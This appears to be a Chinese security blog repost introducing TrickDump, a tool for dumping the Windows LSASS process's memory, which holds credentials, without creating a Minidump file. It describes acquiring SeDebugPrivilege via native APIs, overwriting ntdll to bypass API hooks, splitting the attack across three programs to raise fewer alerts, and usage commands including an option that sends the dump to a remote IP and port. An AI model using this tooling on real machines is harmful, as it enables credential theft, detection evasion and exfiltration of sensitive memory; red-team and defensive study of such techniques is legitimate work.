不创建转储文件的情况下转储lsass

admin 2024年10月16日11:44:26评论18 views字数 1940阅读6分28秒阅读模式

点击蓝字 关注我们

不创建转储文件的情况下转储lsass

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

🌟简介

仅使用运行 3 个程序的 NTAPIS 转储 lsass 来创建 3 个 JSON 和 1 个 ZIP 文件...并稍后生成 Minidump!

TrickDump

TrickDump 转储 lsass 进程而不创建 Minidump 文件,而是生成 3 个 JSON 和 1 个包含内存区域转储的 ZIP 文件。分为三步:

  • Lock:使用 RtlGetVersion 获取操作系统信息。

  • Shock:使用 NtOpenProcessToken 和 NtAdjustPrivilegeToken 获取 SeDebugPrivilege 权限,使用 NtGetNextProcess 和 NtQueryInformationProcess 打开句柄,然后使用 NtQueryInformationProcess 和 NtReadVirtualMemory 获取模块信息。

  • Barrel:获取 SeDebugPrivilege 权限,打开句柄,然后使用 NtQueryVirtualMemory 和 NtReadVirtualMemory 获取信息并转储内存区域。

不创建转储文件的情况下转储lsass

在攻击系统中,使用create_dump.py脚本生成Minidump文件:

python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]

该技术的好处是:

  • 磁盘、内存或网络流量中永远不存在有效的 Minidump 文件。

  • 执行整个攻击的并不是一个单一的程序或进程,而是三个独立的程序或进程,因此可能引发较少的警告。

    • 如果您只想运行一个程序,则可以使用Trick

    • 如果您已经掌握目标机器操作系统的信息,则可以跳过第一步(“锁定”)。

  • 该程序仅使用 NTAPIS(该项目是NativeDump的变体)。

  • 它不使用 OpenProcess 或 NtOpenProcess 来获取具有PROCESS_VM_OPERATIONPROCESS_VM_WRITE访问权限的 lsass 进程句柄。

  • 每个程序都允许覆盖 ntdll.dll 库“.text”部分以绕过 API 挂钩:

    • “disk”:使用磁盘上已有的 DLL。如果不使用第二个参数,则路径为“C:WindowsSystem32ntdll.dll”。

    • “knowndlls”:使用 KnownDlls 文件夹。

    • “debugproc”:使用在调试模式下创建的进程。如果不使用第二个参数,则进程为“c:windowssystem32calc.exe”。

它有五种分支:

  • .NET:主分支

  • Python:python-flavour 分支

  • Golang:golang-flavour 分支

  • C/C++:c 风格分支

  • BOF 文件:bof-flavour 分支

如果启用了 PPL,它将不起作用,PEB 结构不可读或者二进制文件未编译为 64 位。更新:现在可以不读取 PEB 来执行程序,请检查peb-unreadable 分支不创建转储文件的情况下转储lsass

用法

该程序在受害系统中执行,创建三个 JSON 文件(包含内存区域信息)和一个 zip 文件(包含每个内存区域转储)。

Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]

您可以直接执行程序,而无需覆盖 ntdll.dll 库:

不创建转储文件的情况下转储lsass

或者使用以下三种不同的覆盖技术之一:

不创建转储文件的情况下转储lsass

然后生成Minidump文件:

不创建转储文件的情况下转储lsass

多合一

如果您只想执行一个二进制文件,Trick.exe 将生成一个包含 3 个 JSON 文件的 ZIP 文件和带有内存区域的 ZIP 文件:

Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]

您可以在本地创建 ZIP 文件,也可以选择使用 Ntdll 覆盖方法:

不创建转储文件的情况下转储lsass

或者使用第二和第三个参数作为 IP 地址和端口将其发送到远程端口:

不创建转储文件的情况下转储lsass

在这两种情况下,您都会得到一个像这样的 ZIP 文件,解压缩它并创建 Minidump 文件:

不创建转储文件的情况下转储lsass

项目地址

https://github.com/ricardojoserf/TrickDump

原文始发于微信公众号(SecHub网络安全社区):不创建转储文件的情况下转储lsass

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日11:44:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不创建转储文件的情况下转储lsasshttp://cn-sec.com/archives/3275398.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息